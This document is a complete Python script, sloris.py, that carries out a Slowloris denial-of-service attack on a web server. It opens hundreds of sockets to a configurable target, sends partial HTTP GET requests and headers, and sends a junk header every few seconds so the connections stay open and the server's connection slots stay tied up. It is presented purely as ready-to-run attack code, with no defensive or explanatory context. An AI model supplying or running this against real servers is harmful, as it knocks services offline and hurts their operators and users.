Slow Loris in Python

sloris.py

#! /usr/bin/python
import socket
import time
from threading import Timer

target = "127.0.0.1"
port = 80
maxSockets = 700
ka_timeout = 10
socket_timeout = 2

currentSockets = 0
sockets = []

# Create own class to add attributes
class socket_(socket.socket):
    def __init__(self, *args, **kwargs):
        super(socket_, self).__init__(*args, **kwargs)
        self.lastupdate = time.time()

def create_socket():
    global currentSockets

    s = socket_(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(socket_timeout)
    try:
        s.connect((target, port))
        
        # method
        s.send("GET / HTTP/1.1\r\n".encode("utf-8"))
    
        # user agent
        #s.send("User-Agent: {}".format().encode("utf-8"))
    
        # host
        s.send(f"Host: {target}\r\n".encode("utf-8"))
    
        print("Opened socket {}".format(currentSockets + 1))
    
        sockets.append(s)
    
        currentSockets += 1
    except:
        pass

while currentSockets < maxSockets:
    create_socket()

def keepAlive():
    global currentSockets

    print("Sending new headers with {} sockets".format(currentSockets))
    for s in sockets:
        try:
            s.send("X-a:b\r\n".encode("utf-8"))
            s.lastupdate = time.time()
        except socket.error:
            print("Socket died after {}s".format(round(time.time() - s.lastupdate)))
            sockets.remove(s)
            currentSockets -= 1
    print("Finished sending new headers, open sockets: {}".format(currentSockets))
    Timer(ka_timeout, keepAlive).start()

Timer(ka_timeout, keepAlive).start()